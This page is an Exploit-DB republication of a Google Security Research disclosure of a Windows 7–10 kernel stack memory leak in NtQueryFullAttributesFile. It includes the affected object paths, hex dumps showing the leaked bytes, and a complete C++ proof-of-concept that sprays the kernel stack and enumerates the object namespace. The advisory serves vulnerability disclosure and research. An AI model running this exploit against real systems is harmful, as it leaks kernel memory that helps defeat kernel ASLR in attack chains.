Microsoft Windows – ‘nt!NtQueryFullAttributesFile’ Kernel Stack Memory Disclosure

  • 作者： Google Security Research
    日期： 2018-04-16
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/44458/
  • /*
We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:

--- cut ---
"\GLOBAL??\D:\"(CD-ROM partition)
"\GLOBAL??\CdRom0\"
"\GLOBAL??\FltMgr"
"\GLOBAL??\FltMgr\"
"\GLOBAL??\MAILSLOT\"
"\GLOBAL??\Volume{GUID}\"
"\GLOBAL??\PIPE\"
"\Device\CdRom0\"
"\Device\NamedPipe\"
"\Device\Mailslot\"
--- cut ---

The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]:

--- cut ---
typedef struct _FILE_NETWORK_OPEN_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER AllocationSize;
LARGE_INTEGER EndOfFile;
ULONG FileAttributes;
} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;
--- cut ---

It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:

--- cut ---
Name: \GLOBAL??\D:\, Status: 0
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
Name: \GLOBAL??\CdRom0\, Status: 0
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
Name: \GLOBAL??\MAILSLOT\, Status: 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
Name: \GLOBAL??\Volume{GUID}\, Status: 0
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
Name: \GLOBAL??\PIPE\, Status: 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
Name: \Device\CdRom0\, Status: 0
00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
Name: \Device\NamedPipe\, Status: 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
Name: \Device\Mailslot\, Status: 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

In case of the \GLOBAL??\FltMgr device, the entire 56-byte memory area remains uninitialized, and is copied in that form to user-mode. See below:

--- cut ---
Name: \GLOBAL??\FltMgr, Status: 0
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
Name: \GLOBAL??\FltMgr\, Status: 0
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define DIRECTORY_QUERY0x0001
#define DIRECTORY_TRAVERSE 0x0002

typedef struct _FILE_NETWORK_OPEN_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER AllocationSize;
LARGE_INTEGER EndOfFile;
ULONG FileAttributes;
} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;

typedef struct _OBJECT_DIRECTORY_INFORMATION {
UNICODE_STRING Name;
UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;

extern "C" {
NTSTATUS NTAPI NtQueryFullAttributesFile(
_In_POBJECT_ATTRIBUTES ObjectAttributes,
_Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation
);

NTSTATUS WINAPI NtQueryDirectoryObject(
_In_HANDLEDirectoryHandle,
_Out_opt_ PVOID Buffer,
_In_ULONG Length,
_In_BOOLEAN ReturnSingleEntry,
_In_BOOLEAN RestartScan,
_Inout_ PULONGContext,
_Out_opt_ PULONGReturnLength
);

NTSTATUS WINAPI NtOpenDirectoryObject(
_Out_ PHANDLEDirectoryHandle,
_In_ACCESS_MASKDesiredAccess,
_In_POBJECT_ATTRIBUTES ObjectAttributes
);
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}

printf("\n");
}
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}

VOID SprayKernelStack() {
static bool initialized = false;
static HPALETTE(*EngCreatePalette)(
_In_ ULONG iMode,
_In_ ULONG cColors,
_In_ ULONG *pulColors,
_In_ FLONG flRed,
_In_ FLONG flGreen,
_In_ FLONG flBlue
);

if (!initialized) {
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
initialized = true;
}

static ULONG buffer[256];
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) {
OBJECT_ATTRIBUTES Attributes;
UNICODE_STRING Name;
RtlInitUnicodeString(&Name, Path);
InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL);

FILE_NETWORK_OPEN_INFORMATION FileInformation, EmptyInformation;
RtlZeroMemory(&FileInformation, sizeof(FileInformation));
RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation));

SprayKernelStack();

NTSTATUS Status = NtQueryFullAttributesFile(&Attributes, &FileInformation);
if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) {
wprintf(L"Name: %s, Status: %x\n", Path, Status);
PrintHex(&FileInformation, sizeof(FileInformation));
}
}

VOID EnumerateDirectory(PWCHAR path) {
HANDLE hdir = NULL;
OBJECT_ATTRIBUTES attrs;
UNICODE_STRING name;

RtlInitUnicodeString(&name, path);
InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs);

if (NT_SUCCESS(st)) {
CONST ULONG kMaxBufferSize = 128 * 1024;
PBYTE buffer = (PBYTE)malloc(kMaxBufferSize);

ULONG Context;
st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL);
if (NT_SUCCESS(st)) {
POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer;
while (pdi->Name.Buffer != NULL) {
WCHAR path_buffer[MAX_PATH];

if (!wcscmp(path, L"\\")) {
wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer);
}
else {
wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer);
}

if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) {
EnumerateDirectory(path_buffer);
}
else {
QueryFile(NULL, path_buffer);
wcscat_s(path_buffer, L"\\");
QueryFile(NULL, path_buffer);
}

pdi++;
}
}

free(buffer);
NtClose(hdir);
}
}

int main() {
EnumerateDirectory(L"\\");

return 0;
}